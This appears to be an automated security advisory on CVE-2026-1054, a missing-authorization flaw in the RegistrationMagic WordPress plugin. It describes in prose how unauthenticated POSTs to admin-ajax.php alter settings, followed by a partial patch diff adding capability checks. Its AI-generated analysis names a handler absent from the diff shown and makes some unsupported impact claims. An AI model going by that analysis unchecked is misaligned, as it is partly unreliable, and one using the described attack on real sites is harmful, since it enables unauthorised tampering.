Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1054: RegistrationMagic <= 6.0.7.4 – Missing Authorization to Unauthenticated Arbitrary Settings Modification (custom-registration-form-builder-with-submission-manager)

CVE ID CVE-2026-1054
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.0.7.4
Patched Version 6.0.7.5
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1054:
This vulnerability is a Missing Authorization flaw in the RegistrationMagic WordPress plugin (versions <= 6.0.7.4). The plugin's rm_set_otp AJAX action handler lacks proper capability checks and nonce verification, allowing unauthenticated attackers to modify arbitrary plugin settings. This includes critical security configurations like reCAPTCHA keys and frontend menu titles.

Root Cause:
The vulnerability originates in the rm_set_otp AJAX action handler, which processes requests to set OTP (One-Time Password) settings. The handler function, located in the plugin's AJAX controller, fails to verify the user's capabilities (authorization) and does not validate the WordPress nonce (CSRF protection). This allows any unauthenticated user to trigger the function. The code diff shows widespread missing capability checks across multiple controller files (class_rm_analytics_controller.php, class_rm_attachment_controller.php, class_rm_dashboard_widget_controller.php, class_rm_editor_actions_controller.php, class_rm_field_controller.php), indicating a systemic authorization issue pattern. The specific vulnerable endpoint is the WordPress admin-ajax.php file with the action parameter set to 'rm_set_otp'.

Exploitation:
Attackers can exploit this vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to 'rm_set_otp'. The request must include parameters that specify which plugin settings to modify. For example, an attacker could send a request with parameters targeting reCAPTCHA site keys, security toggles, or menu configuration options. Since no authentication or nonce is required, any unauthenticated user can send these requests directly. The attack vector is straightforward HTTP POST manipulation targeting the WordPress AJAX endpoint.

Patch Analysis:
The patch adds capability checks to multiple controller functions across the plugin. In each vulnerable function, the developers wrapped the core logic with conditional statements checking if the current user has the 'manage_options' capability or a plugin-specific capability (e.g., 'rm_analytics_show_fieldmanage_options'). For example, in class_rm_analytics_controller.php lines 21-31, the show_field function now begins with 'if (current_user_can('manage_options') || current_user_can('rm_analytics_show_fieldmanage_options'))'. This ensures only administrators or users with explicit plugin permissions can execute these functions. The patch does not appear to add nonce verification, focusing solely on authorization. Before the patch, these functions executed without any permission validation. After the patch, unauthenticated requests are blocked at the capability check layer.

Impact:
Successful exploitation allows attackers to modify any plugin setting configurable through the affected AJAX handler. This includes disabling security features like reCAPTCHA, changing frontend menu titles to inject malicious content, altering payment gateway configurations, and modifying form behavior. Attackers could disable security protections to enable other attacks like spam submissions or credential harvesting. They could also deface frontend elements or disrupt form functionality. The vulnerability does not directly lead to remote code execution or database compromise, but it enables significant configuration manipulation that can facilitate further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_analytics_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_analytics_controller.php
@@ -20,119 +20,122 @@
        // $this->view->render();
     }

-    public function show_field($model, RM_Analytics_Service $service, $request, $params)
-    {
-        if(defined('REGMAGIC_ADDON')) {
-            $addon_controller = new RM_Analytics_Controller_Addon();
-            return $addon_controller->show_field($model, $service, $request, $params, $this);
+    public function show_field($model, RM_Analytics_Service $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_analytics_show_fieldmanage_options')) {
+            if(defined('REGMAGIC_ADDON')) {
+                $addon_controller = new RM_Analytics_Controller_Addon();
+                return $addon_controller->show_field($model, $service, $request, $params, $this);
+            }
+            $data = new stdClass;
+
+            $view = $this->mv_handler->setView("field_analytics");
+            $view->render($data);
         }
-        $data = new stdClass;
-
-        $view = $this->mv_handler->setView("field_analytics");
-        $view->render($data);
     }

-    public function show_form($model, $service, $request, $params)
-    {
-        $data = new stdClass;
-
-        $data->forms = RM_Utilities::get_forms_dropdown($service);
-        //made changes by vincent andrew
-        //var_dump($request); die;
-        if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
-        {
-            $data->current_form_id = $request->req['rm_form_id'];
-        }
-        else
-        {
-            //Get first form's id in this case
-             reset($data->forms);
-             $data->current_form_id = (string)key($data->forms);
-        }
-
-        if(isset($request->req['rm_tr']))
-        {
-            $data->timerange = $request->req['rm_tr'];
+    public function show_form($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_analytics_show_formmanage_options')) {
+            $data = new stdClass;
+
+            $data->forms = RM_Utilities::get_forms_dropdown($service);
+            //made changes by vincent andrew
+            //var_dump($request); die;
+            if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
+            {
+                $data->current_form_id = $request->req['rm_form_id'];
+            }
+            else
+            {
+                //Get first form's id in this case
+                reset($data->forms);
+                $data->current_form_id = (string)key($data->forms);
+            }
+
+            if(isset($request->req['rm_tr']))
+            {
+                $data->timerange = $request->req['rm_tr'];
+            }
+            else
+            {
+                $data->timerange = '30';
+            }
+
+            $data->analysis = $this->calculate_form_stats($data->current_form_id, $service);
+
+            //For pagination
+            $entries_per_page = 10;
+            $req_page = (isset($request->req['rm_reqpage']) && $request->req['rm_reqpage'] > 0) ? $request->req['rm_reqpage'] : 1;
+            $offset = ($req_page - 1) * $entries_per_page;
+            $total_entries =  $data->analysis->total_entries;
+
+            $data->rm_slug = $request->req['page'];
+            $data->stat_data = $service->get_form_stats($data->current_form_id, $offset, $entries_per_page);
+            $data->total_pages = (int) ($total_entries / $entries_per_page) + (($total_entries % $entries_per_page) == 0 ? 0 : 1);
+            $data->curr_page = $req_page;
+            $data->starting_serial_number = $offset + 1;
+            //Pagination Ends
+
+            if($data->timerange > 90)
+                $data->timerange = 90;
+
+            $data->day_wise_stat = $service->day_wise_submission_stats($data->current_form_id, $data->timerange);
+
+            $view = $this->mv_handler->setView("form_analytics");
+            $view->render($data);
         }
-        else
-        {
-            $data->timerange = '30';
-        }
-
-        $data->analysis = $this->calculate_form_stats($data->current_form_id, $service);
-
-        //For pagination
-        $entries_per_page = 10;
-        $req_page = (isset($request->req['rm_reqpage']) && $request->req['rm_reqpage'] > 0) ? $request->req['rm_reqpage'] : 1;
-        $offset = ($req_page - 1) * $entries_per_page;
-        $total_entries =  $data->analysis->total_entries;
-
-        $data->rm_slug = $request->req['page'];
-        $data->stat_data = $service->get_form_stats($data->current_form_id, $offset, $entries_per_page);
-        $data->total_pages = (int) ($total_entries / $entries_per_page) + (($total_entries % $entries_per_page) == 0 ? 0 : 1);
-        $data->curr_page = $req_page;
-        $data->starting_serial_number = $offset + 1;
-        //Pagination Ends
-
-        if($data->timerange > 90)
-            $data->timerange = 90;
-
-        $data->day_wise_stat = $service->day_wise_submission_stats($data->current_form_id, $data->timerange);
-
-        $view = $this->mv_handler->setView("form_analytics");
-        $view->render($data);
     }

-    public function reset($model, $service, $request, $params)
-    {
-        if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
-            $form_id = $request->req['rm_form_id'];
-        else
-            return;
-
-        $service->reset($form_id);
-        switch($request->req['req_source']){
-            case 'form_dashboard':
-                RM_Utilities::redirect('?page=rm_form_sett_manage&rm_form_id='.$form_id);
-                break;
-            case 'form_analytics':
-                $this->show_form($model, $service, $request, $params);
+    public function reset($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_analytics_show_formmanage_options')) {
+            if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
+                $form_id = $request->req['rm_form_id'];
+            else
+                return;
+
+            $service->reset($form_id);
+            switch($request->req['req_source']){
+                case 'form_dashboard':
+                    RM_Utilities::redirect('?page=rm_form_sett_manage&rm_form_id='.$form_id);
+                    break;
+                case 'form_analytics':
+                    $this->show_form($model, $service, $request, $params);
+            }
         }
     }

-    public function calculate_form_stats($form_id, $service)
-    {
-        if(defined('REGMAGIC_ADDON')) {
-            $addon_controller = new RM_Analytics_Controller_Addon();
-            return $addon_controller->calculate_form_stats($form_id, $service);
+    public function calculate_form_stats($form_id, $service) {
+        if (current_user_can('manage_options') || current_user_can('rm_analytics_show_formmanage_options')) {
+            if(defined('REGMAGIC_ADDON')) {
+                $addon_controller = new RM_Analytics_Controller_Addon();
+                return $addon_controller->calculate_form_stats($form_id, $service);
+            }
+            $data = new stdClass;
+
+            $total_entries =  (int)$service->count('STATS', array('form_id' => (int)$form_id));
+
+            //Average and failure rate
+            $failed_submission = (int)$service->count('STATS', array('form_id' => (int)$form_id, 'submitted_on' => null));
+
+            if($total_entries != 0 )
+                $data->failure_rate = round((double)$failed_submission*100.00/(double)$total_entries, 2);
+            else
+                $data->failure_rate = 0.00;
+
+            $data->avg_filling_time = $service->get_average_filling_time((int)$form_id);
+
+            $data->total_entries = $total_entries;
+            $data->failed_submission = $failed_submission;
+
+            $browser_stats = $service->get_browser_usage($form_id);
+
+            //$browser_stats->browser_usage['Other'] = $total_entries - $browser_stats->total_known_browser_usage;
+            //$data->browser_usage = $browser_stats->browser_usage;
+
+            // $browser_stats->browser_submission['Other'] = $total_entries - $failed_submission - $browser_stats->total_known_browser_submission;
+            $data->browsers = $browser_stats->browsers;//browser_submission;
+            $data->browsers['Other']->visits = $total_entries - $browser_stats->total_known_browser_usage;
+            $data->browsers['Other']->submissions = $total_entries - $failed_submission - $browser_stats->total_known_browser_submission;
+            return $data;
         }
-        $data = new stdClass;
-
-        $total_entries =  (int)$service->count('STATS', array('form_id' => (int)$form_id));
-
-       //Average and failure rate
-        $failed_submission = (int)$service->count('STATS', array('form_id' => (int)$form_id, 'submitted_on' => null));
-
-        if($total_entries != 0 )
-            $data->failure_rate = round((double)$failed_submission*100.00/(double)$total_entries, 2);
-        else
-            $data->failure_rate = 0.00;
-
-        $data->avg_filling_time = $service->get_average_filling_time((int)$form_id);
-
-        $data->total_entries = $total_entries;
-        $data->failed_submission = $failed_submission;
-
-        $browser_stats = $service->get_browser_usage($form_id);
-
-        //$browser_stats->browser_usage['Other'] = $total_entries - $browser_stats->total_known_browser_usage;
-        //$data->browser_usage = $browser_stats->browser_usage;
-
-       // $browser_stats->browser_submission['Other'] = $total_entries - $failed_submission - $browser_stats->total_known_browser_submission;
-        $data->browsers = $browser_stats->browsers;//browser_submission;
-        $data->browsers['Other']->visits = $total_entries - $browser_stats->total_known_browser_usage;
-        $data->browsers['Other']->submissions = $total_entries - $failed_submission - $browser_stats->total_known_browser_submission;
-        return $data;
     }
-
 }
 No newline at end of file
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_attachment_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_attachment_controller.php
@@ -15,42 +15,45 @@
         $this->mv_handler = new RM_Model_View_Handler();
     }

-    public function manage($model, $service, $request, $params)
-    {
-        if(defined('REGMAGIC_ADDON')) {
-            $addon_controller = new RM_Attachment_Controller_Addon();
-            return $addon_controller->manage($model, $service, $request, $params, $this);
+    public function manage($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_attachment_managemanage_options')) {
+            if(defined('REGMAGIC_ADDON')) {
+                $addon_controller = new RM_Attachment_Controller_Addon();
+                return $addon_controller->manage($model, $service, $request, $params, $this);
+            }
+            $data = new stdClass();
+            $view = $this->mv_handler->setView('attachment_manage');
+            $view->render($data);
         }
-        $data = new stdClass();
-        $view = $this->mv_handler->setView('attachment_manage');
-        $view->render($data);
     }

-    public function download_all($model, $service, $request, $params)
-    {
-        if(defined('REGMAGIC_ADDON')) {
-            $addon_controller = new RM_Attachment_Controller_Addon();
-            return $addon_controller->download_all($model, $service, $request, $params);
+    public function download_all($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_attachment_managemanage_options')) {
+            if(defined('REGMAGIC_ADDON')) {
+                $addon_controller = new RM_Attachment_Controller_Addon();
+                return $addon_controller->download_all($model, $service, $request, $params);
+            }
+            return true;
         }
-        return true;
     }

-    public function download_selected($model, $service, $request, $params)
-    {
-        if(defined('REGMAGIC_ADDON')) {
-            $addon_controller = new RM_Attachment_Controller_Addon();
-            return $addon_controller->download_selected($model, $service, $request, $params);
+    public function download_selected($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_attachment_managemanage_options')) {
+            if(defined('REGMAGIC_ADDON')) {
+                $addon_controller = new RM_Attachment_Controller_Addon();
+                return $addon_controller->download_selected($model, $service, $request, $params);
+            }
+            return $true;
         }
-        return $true;
     }

-    public function download($model, RM_Attachment_Service $service, $request, $params)
-    {
-        if(defined('REGMAGIC_ADDON')) {
-            $addon_controller = new RM_Attachment_Controller_Addon();
-            return $addon_controller->download($model, $service, $request, $params);
+    public function download($model, RM_Attachment_Service $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_attachment_managemanage_options')) {
+            if(defined('REGMAGIC_ADDON')) {
+                $addon_controller = new RM_Attachment_Controller_Addon();
+                return $addon_controller->download($model, $service, $request, $params);
+            }
+            return true;
         }
-        return true;
     }
-
 }
 No newline at end of file
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_dashboard_widget_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_dashboard_widget_controller.php
@@ -14,100 +14,104 @@
         $this->mv_handler = new RM_Model_View_Handler();
     }

-    public function display($model, $service, $request, $params)
-    {
-        $data = new stdClass;
-
-        $submissions = $service->get('SUBMISSIONS', 1, null, 'results', 0, 10, '*', 'submitted_on', true);
-        $forms = $service->get('FORMS', 1, null, 'results', 0, 10, '*');
-        $form_names = array();
-        foreach($forms as $form) {
-            $form_names[$form->form_id] = $form->form_name;
-        }
-        $sub_data = array();
+    public function display($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_dashboard_widget_dashboardmanage_options')) {
+            $data = new stdClass;
+
+            $submissions = $service->get('SUBMISSIONS', 1, null, 'results', 0, 10, '*', 'submitted_on', true);
+            $forms = $service->get('FORMS', 1, null, 'results', 0, 10, '*');
+            $form_names = array();
+            foreach($forms as $form) {
+                $form_names[$form->form_id] = $form->form_name;
+            }
+            $sub_data = array();

-        if($submissions)
-        {
-            foreach ($submissions as $submission)
+            if($submissions)
             {
-               //echo "<br>ID: ".$submission->form_id." : ".RM_Utilities::localize_time($submission->submitted_on, 'M dS Y, h:ia')." : ";
-               //$name = $service->get('FORMS', array('form_id' => $submission->form_id), array('%d'), 'var', 0, 10, 'form_name');
-               $date = RM_Utilities::localize_time($submission->submitted_on, 'd M Y'); //Previously "M dS Y, h:ia".
-               $payment_status = $service->get('PAYPAL_LOGS', array('submission_id' => $submission->submission_id), array('%d'), 'var', 0, 10, 'status');
-
-               $sub_data[] = (object)array('submission_id'=>$submission->submission_id, 'name'=> isset($form_names[$submission->form_id]) ? $form_names[$submission->form_id] : "", 'date'=>$date, 'payment_status'=>$payment_status);
-            }
-
-            $data->total_sub = count($submissions);
-        }
+                foreach ($submissions as $submission)
+                {
+                //echo "<br>ID: ".$submission->form_id." : ".RM_Utilities::localize_time($submission->submitted_on, 'M dS Y, h:ia')." : ";
+                //$name = $service->get('FORMS', array('form_id' => $submission->form_id), array('%d'), 'var', 0, 10, 'form_name');
+                $date = RM_Utilities::localize_time($submission->submitted_on, 'd M Y'); //Previously "M dS Y, h:ia".
+                $payment_status = $service->get('PAYPAL_LOGS', array('submission_id' => $submission->submission_id), array('%d'), 'var', 0, 10, 'status');
+
+                $sub_data[] = (object)array('submission_id'=>$submission->submission_id, 'name'=> isset($form_names[$submission->form_id]) ? $form_names[$submission->form_id] : "", 'date'=>$date, 'payment_status'=>$payment_status);
+                }
+
+                $data->total_sub = count($submissions);
+            }

-        $data->submissions = $sub_data;
-        $data->count = $service->get_count_summary();
+            $data->submissions = $sub_data;
+            $data->count = $service->get_count_summary();

-        $view = $this->mv_handler->setView("dashboard_widget");
-        $view->render($data);
+            $view = $this->mv_handler->setView("dashboard_widget");
+            $view->render($data);
+        }
     }
-    public function dashboard($model, $service, $request, $params){
-        $data = new stdClass;
-        $data->forms = RM_DBManager::get_all('FORMS');
-        $submissions = $service->get('SUBMISSIONS', 1, null, 'results', 0, 5, '*', 'submitted_on', true);
-        $sub_data = array();
-        if($submissions)
-        {
-            foreach ($submissions as $submission)
-            {
-               $name = $service->get('FORMS', array('form_id' => $submission->form_id), array('%d'), 'var', 0, 10, 'form_name');
-               $date = RM_Utilities::localize_time($submission->submitted_on, 'd M Y, h:iA'); //Previously "M dS Y, h:ia".
-               $payment_status = $service->get('PAYPAL_LOGS', array('submission_id' => $submission->submission_id), array('%d'), 'var', 0, 10, 'status');

-               $sub_data[] = (object)array('submission_id'=>$submission->submission_id, 'user_email'=>$submission->user_email,'name'=>$name, 'date'=>$date, 'payment_status'=>$payment_status);
+    public function dashboard($model, $service, $request, $params) {
+        if (current_user_can('manage_options') || current_user_can('rm_dashboard_widget_dashboardmanage_options')) {
+            $data = new stdClass;
+            $data->forms = RM_DBManager::get_all('FORMS');
+            $submissions = $service->get('SUBMISSIONS', 1, null, 'results', 0, 5, '*', 'submitted_on', true);
+            $sub_data = array();
+            if($submissions)
+            {
+                foreach ($submissions as $submission)
+                {
+                $name = $service->get('FORMS', array('form_id' => $submission->form_id), array('%d'), 'var', 0, 10, 'form_name');
+                $date = RM_Utilities::localize_time($submission->submitted_on, 'd M Y, h:iA'); //Previously "M dS Y, h:ia".
+                $payment_status = $service->get('PAYPAL_LOGS', array('submission_id' => $submission->submission_id), array('%d'), 'var', 0, 10, 'status');
+
+                $sub_data[] = (object)array('submission_id'=>$submission->submission_id, 'user_email'=>$submission->user_email,'name'=>$name, 'date'=>$date, 'payment_status'=>$payment_status);
+                }
+
+                $data->total_sub = count($submissions);
+            }
+
+            $data->submissions = $sub_data;
+            $data->count = $service->get_count_summary();
+            $data->popular_forms = $service->get_popular_forms();
+            $top_forms_label =array();
+            $top_forms_count = array();
+            if(!empty($data->popular_forms)){
+                $count =1;
+                $top_forms = array();
+                foreach ($data->popular_forms as $key => $form) {
+                    $top_forms_label[] = $form['form_name'];
+                    $top_forms_count[] = $form['count'];
+                    if($count>=5) break;
+                    $count++;
+                }
             }
-
-            $data->total_sub = count($submissions);
-        }
-
-        $data->submissions = $sub_data;
-        $data->count = $service->get_count_summary();
-        $data->popular_forms = $service->get_popular_forms();
-        $top_forms_label =array();
-        $top_forms_count = array();
-        if(!empty($data->popular_forms)){
-            $count =1;
-            $top_forms = array();
-            foreach ($data->popular_forms as $key => $form) {
-                $top_forms_label[] = $form['form_name'];
-                $top_forms_count[] = $form['count'];
-                if($count>=5) break;
-                $count++;
+            else{
+                $top_forms_label =array("Form 1","Form 2","Form 3","Form 4","Form 5");
+                $top_forms_count = array(1,2,3,4,5);
             }
+            $interval = 'days';
+            if(isset($request->req['rm_ur'])){
+                $interval = $request->req['rm_ur'];
+            }
+            $login_interval = 7;
+            if(isset($request->req['rm_tr'])){
+            $login_interval = $request->req['rm_tr'];
+            }
+            $users = $service->get_user_statics($interval);
+            $data->users = $users;
+            $data->top_forms_label = $top_forms_label;
+            $data->top_forms_count = $top_forms_count;
+            $data->latest_forms = $service->get('FORMS', 1, null, 'results', 0, 5, '*', null, true);
+            $data->latest_users= $service->get_latest_users();
+            $data->rm_ur = $interval;
+            $data->rm_tr = $login_interval;
+            $data->statics = $service->get_dashboard_statics();
+            $data->feature = $service->get_feature_data($login_interval);
+            $data->login_logs = $service->get_logins_data();
+            $data->day_wise_stat = $service->get_login_logs_stats($login_interval);
+            $data->latest_attachments = $service->get_latest_attachments();
+            $data->latest_payments = $service->get_latest_payments();
+            $view = $this->mv_handler->setView('dashboard');
+            $view->render($data);
         }
-        else{
-            $top_forms_label =array("Form 1","Form 2","Form 3","Form 4","Form 5");
-            $top_forms_count = array(1,2,3,4,5);
-        }
-        $interval = 'days';
-        if(isset($request->req['rm_ur'])){
-            $interval = $request->req['rm_ur'];
-        }
-        $login_interval = 7;
-        if(isset($request->req['rm_tr'])){
-           $login_interval = $request->req['rm_tr'];
-        }
-        $users = $service->get_user_statics($interval);
-        $data->users = $users;
-        $data->top_forms_label = $top_forms_label;
-        $data->top_forms_count = $top_forms_count;
-        $data->latest_forms = $service->get('FORMS', 1, null, 'results', 0, 5, '*', null, true);
-        $data->latest_users= $service->get_latest_users();
-        $data->rm_ur = $interval;
-        $data->rm_tr = $login_interval;
-        $data->statics = $service->get_dashboard_statics();
-        $data->feature = $service->get_feature_data($login_interval);
-        $data->login_logs = $service->get_logins_data();
-        $data->day_wise_stat = $service->get_login_logs_stats($login_interval);
-        $data->latest_attachments = $service->get_latest_attachments();
-        $data->latest_payments = $service->get_latest_payments();
-        $view = $this->mv_handler->setView('dashboard');
-        $view->render($data);
     }
-}
+}
 No newline at end of file
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_editor_actions_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_editor_actions_controller.php
@@ -24,36 +24,33 @@
             wp_enqueue_script( 'media-upload' );
     }

-    public function add_form($model, $service, $request, $params)
-    {
-        $data= new stdClass();
-        $data->forms= $service->add_form();
-        $view = $this->mv_handler->setView('editor_add_form');
-        $view->render($data);
-
+    public function add_form($model, $service, $request, $params) {
+        if (current_user_can('manage_options')) {
+            $data= new stdClass();
+            $data->forms= $service->add_form();
+            $view = $this->mv_handler->setView('editor_add_form');
+            $view->render($data);
+        }
     }

-   public function add_email($model, $service, $request, $params)
-    {
-        $data= new stdClass();
-        if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
-            $data->emails= $service->add_email($request->req['rm_form_id']);
-        $view = $this->mv_handler->setView('editor_add_email');
-        $view->render($data);
-
+    public function add_email($model, $service, $request, $params) {
+        if (current_user_can('manage_options')) {
+            $data= new stdClass();
+            if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
+                $data->emails= $service->add_email($request->req['rm_form_id']);
+            $view = $this->mv_handler->setView('editor_add_email');
+            $view->render($data);
+        }
     }

-    public function add_fields_dropdown_invites($model, $service, $request, $params)
-    {
-        $data= new stdClass();
-        if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
-            $data->emails= $service->add_email($request->req['rm_form_id']);
-        $data->editor_control_id = 'mce_rm_mail_body';
-        $view = $this->mv_handler->setView('editor_add_email');
-        $view->render($data);
+    public function add_fields_dropdown_invites($model, $service, $request, $params) {
+        if (current_user_can('manage_options')) {
+            $data= new stdClass();
+            if(isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id']))
+                $data->emails= $service->add_email($request->req['rm_form_id']);
+            $data->editor_control_id = 'mce_rm_mail_body';
+            $view = $this->mv_handler->setView('editor_add_email');
+            $view->render($data);
+        }
     }
-
-
-
-
-}
+}
 No newline at end of file
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_field_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_field_controller.php
@@ -20,497 +20,543 @@
     }

     public function add($model, $service, $request, $params) {
-        if (isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id'])) {
-            $fields_data = $service->get_all_form_fields($request->req['rm_form_id']);
-        } else {
-            // Ninja Forms conflict fix
-            echo '<div class="rm-builder-notice"><div class="rmnotice">'.esc_html__('No form selected. Redirecting you back to the all forms page.','custom-registration-form-builder-with-submission-manager').'</div></div>';
-            echo "<script>window.setTimeout(function(){ window.location.href = '" . admin_url('admin.php?page=rm_form_manage') . "';}, 3000);</script>";
-            die;
-        }
-
-        if (isset($request->req['rm_form_page_no']))
-            $form_page_no = $request->req['rm_form_page_no'];
-        else
-            $form_page_no = 1;
-
-        if ($this->mv_handler->validateForm("add-field")) {
-            $request->req['page_no'] = $form_page_no;
-            $new_field_order = intval($service->get_fields_highest_order($request->req['rm_form_id'], $form_page_no)) + 1;
-            $request->req['field_order'] = $new_field_order;
-
-            //Setup icon props
-            $f_icon = new stdClass;
-            $f_icon->codepoint = $request->req['input_selected_icon_codepoint'];
-            $f_icon->fg_color = $request->req['icon_fg_color'];
-            $f_icon->bg_color = $request->req['icon_bg_color'];
-            $f_icon->shape = $request->req['icon_shape'];
-            if(defined('REGMAGIC_ADDON'))
-                $f_icon->bg_alpha = $request->req['icon_bg_alpha'];
-            $request->req['icon'] = $f_icon;
-            /////////////////////
-            if($request->req['field_type'] === "Repeatable_M"){
-                 $request->req['field_type']= 'Repeatable';
-            }
-            //Setup rating field props
-            if($request->req['field_type'] === "Rating"){
-                $rating_conf = new stdClass;
-                $rating_conf->max_stars = $request->req['rating_max_stars'];
-                $rating_conf->star_face = $request->req['rating_star_face'];
-                $rating_conf->step_size = $request->req['rating_step_size'];
-                $rating_conf->star_color = $request->req['rating_star_color'];
-                $request->req['rating_conf'] = $rating_conf;
-            }
-            // Reset conditions if field type changed
-            $temp_field= new RM_Fields();
-            if(isset($request->req['field_id'])){
-                 $temp_field->load_from_db($request->req['field_id']);
-                 if($temp_field->is_field_primary && $temp_field->get_field_type()=='Email'){
-                    $request->req['is_deletion_allowed']= 0;
-                 }
-                 else
-                 {
-                     $request->req['is_deletion_allowed']= 1;
-                 }
-            }
-            else{
-                $request->req['is_deletion_allowed']= 1;
-            }
-
-            if($temp_field->get_field_type()==$request->req['field_type']){
-                $request->req['conditions']= $temp_field->get_field_conditions();
-            }
-
-            $model->set($request->req);
-            if(in_array($request->req['field_type'], array("Address","WCBilling","WCShipping"))) {
-                $model->field_options->field_default_value = array('country' => $request->req['select_default_country']);
-            }
-            if (isset($request->req['field_id']) && !empty($request->req['field_id'])) {
-                $service->update($model, $service, $request, $params);
+        if (current_user_can('manage_options') || current_user_can('rm_form_managemanage_options')) {
+            if (isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id'])) {
+                $fields_data = $service->get_all_form_fields($request->req['rm_form_id']);
             } else {
-                $new_field_id = $service->add($model, $service, $request, $params);
-                if(isset($request->req['rm_row_id']) && isset($request->req['rm_order_in_row'])) {
-                    if($request->req['rm_row_id'] == 0) {
-                        $this->add_field_in_row(RM_DBManager::add_quick_row_in_form($request->req['rm_form_id'], $form_page_no), $new_field_id, intval($request->req['rm_order_in_row']));
-                    } else {
-                        $this->add_field_in_row(intval($request->req['rm_row_id']), $new_field_id, intval($request->req['rm_order_in_row']));
+                // Ninja Forms conflict fix
+                echo '<div class="rm-builder-notice"><div class="rmnotice">'.esc_html__('No form selected. Redirecting you back to the all forms page.','custom-registration-form-builder-with-submission-manager').'</div></div>';
+                echo "<script>window.setTimeout(function(){ window.location.href = '" . admin_url('admin.php?page=rm_form_manage') . "';}, 3000);</script>";
+                die;
+            }
+
+            if (isset($request->req['rm_form_page_no']))
+                $form_page_no = $request->req['rm_form_page_no'];
+            else
+                $form_page_no = 1;
+
+            if ($this->mv_handler->validateForm("add-field")) {
+                $request->req['page_no'] = $form_page_no;
+                $new_field_order = intval($service->get_fields_highest_order($request->req['rm_form_id'], $form_page_no)) + 1;
+                $request->req['field_order'] = $new_field_order;
+
+                //Setup icon props
+                $f_icon = new stdClass;
+                $f_icon->codepoint = $request->req['input_selected_icon_codepoint'];
+                $f_icon->fg_color = $request->req['icon_fg_color'];
+                $f_icon->bg_color = $request->req['icon_bg_color'];
+                $f_icon->shape = $request->req['icon_shape'];
+                if(defined('REGMAGIC_ADDON'))
+                    $f_icon->bg_alpha = $request->req['icon_bg_alpha'];
+                $request->req['icon'] = $f_icon;
+                /////////////////////
+                if($request->req['field_type'] === "Repeatable_M"){
+                    $request->req['field_type']= 'Repeatable';
+                }
+                //Setup rating field props
+                if($request->req['field_type'] === "Rating"){
+                    $rating_conf = new stdClass;
+                    $rating_conf->max_stars = $request->req['rating_max_stars'];
+                    $rating_conf->star_face = $request->req['rating_star_face'];
+                    $rating_conf->step_size = $request->req['rating_step_size'];
+                    $rating_conf->star_color = $request->req['rating_star_color'];
+                    $request->req['rating_conf'] = $rating_conf;
+                }
+                // Reset conditions if field type changed
+                $temp_field= new RM_Fields();
+                if(isset($request->req['field_id'])){
+                    $temp_field->load_from_db($request->req['field_id']);
+                    if($temp_field->is_field_primary && $temp_field->get_field_type()=='Email'){
+                        $request->req['is_deletion_allowed']= 0;
+                    }
+                    else
+                    {
+                        $request->req['is_deletion_allowed']= 1;
                     }
                 }
-            }
-            RM_Utilities::sync_username_hide_option($request->req['rm_form_id']);
-            RM_DBManager::update_form_published_pages($request->req["rm_form_id"]);
-            RM_Utilities::redirect(admin_url('/admin.php?page=' . $params['xml_loader']->request_tree->success . '&rm_form_id=' . $request->req["rm_form_id"] . '&rm_form_page_no=' . $form_page_no));
-            //$this->view->render();
-        } else {
+                else{
+                    $request->req['is_deletion_allowed']= 1;
+                }
+
+                if($temp_field->get_field_type()==$request->req['field_type']){
+                    $request->req['conditions']= $temp_field->get_field_conditions();
+                }
+
+                $model->set($request->req);
+                if(in_array($request->req['field_type'], array("Address","WCBilling","WCShipping"))) {
+                    $model->field_options->field_default_value = array('country' => $request->req['select_default_country']);
+                }
+                if (isset($request->req['field_id']) && !empty($request->req['field_id'])) {
+                    $service->update($model, $service, $request, $params);
+                } else {
+                    $new_field_id = $service->add($model, $service, $request, $params);
+                    if(isset($request->req['rm_row_id']) && isset($request->req['rm_order_in_row'])) {
+                        if($request->req['rm_row_id'] == 0) {
+                            $this->add_field_in_row(RM_DBManager::add_quick_row_in_form($request->req['rm_form_id'], $form_page_no), $new_field_id, intval($request->req['rm_order_in_row']));
+                        } else {
+                            $this->add_field_in_row(intval($request->req['rm_row_id']), $new_field_id, intval($request->req['rm_order_in_row']));
+                        }
+                    }
+                }
+                RM_Utilities::sync_username_hide_option($request->req['rm_form_id']);
+                RM_DBManager::update_form_published_pages($request->req["rm_form_id"]);
+                RM_Utilities::redirect(admin_url('/admin.php?page=' . $params['xml_loader']->request_tree->success . '&rm_form_id=' . $request->req["rm_form_id"] . '&rm_form_page_no=' . $form_page_no));
+                //$this->view->render();
